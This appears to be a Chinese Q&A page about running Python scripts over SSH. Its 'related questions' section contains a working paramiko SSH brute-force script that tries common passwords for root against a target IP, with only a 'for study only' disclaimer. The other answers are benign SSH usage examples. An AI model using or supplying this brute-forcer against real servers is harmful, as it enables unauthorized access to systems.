ssh命令如何执行python脚本
时间: 2023-07-19 10:21:23 浏览: 92
在SSH连接到远程服务器后,可以使用以下命令来执行Python脚本:
```
python path/to/your/script.py
```
其中,`path/to/your/script.py`是你的Python脚本文件的路径。如果你在当前目录下,可以直接使用脚本文件名执行。
另外,如果你想在后台运行Python脚本,可以使用nohup命令来执行:
```
nohup python path/to/your/script.py &
```
这样,Python脚本就会在后台执行,并将输出保存到nohup.out文件中。注意,&符号表示将命令放到后台执行,这样你可以继续使用终端进行其他操作。
相关问题
python ssh 爆破_ssh爆破(python脚本)
SSH爆破是指通过尝试不同的用户名和密码组合来破解SSH服务的登录密码,以下是一个简单的Python脚本实现SSH爆破:
```python
import paramiko
import sys
# 定义需要尝试的用户名和密码列表
usernames = ['root']
passwords = ['123456', 'password', 'admin', 'root']
# 定义SSH客户端连接函数
def ssh_connect(ip, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, port=22, username=username, password=password, timeout=5)
except:
ssh.close()
return False
ssh.close()
return True
# 定义主函数
if __name__ == '__main__':
if len(sys.argv) != 2:
print('Usage: python ssh_brute.py <ip>')
sys.exit(0)
ip = sys.argv[1]
for username in usernames:
for password in passwords:
if ssh_connect(ip, username, password):
print('Success: username=%s, password=%s' % (username, password))
sys.exit(0)
else:
print('Failed: username=%s, password=%s' % (username, password))
```
注意:此脚本仅用于学习和研究目的,请勿用于非法用途。
python ssh登录脚本_python脚本ssh命令行可以登录并执行相应命令,但是脚本总是报错,何解?...
可能是您的脚本中存在一些问题。以下是使用Python脚本进行SSH登录并执行命令的示例代码,您可以参考一下:
```python
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.1.1', username='username', password='password')
stdin, stdout, stderr = ssh.exec_command('ls -l')
print(stdout.read().decode())
ssh.close()
```
请注意,您需要安装Paramiko模块才能运行此脚本。如果您的脚本仍然报错,请提供相关的错误信息,以便我们更好地帮助您解决问题。
阅读全文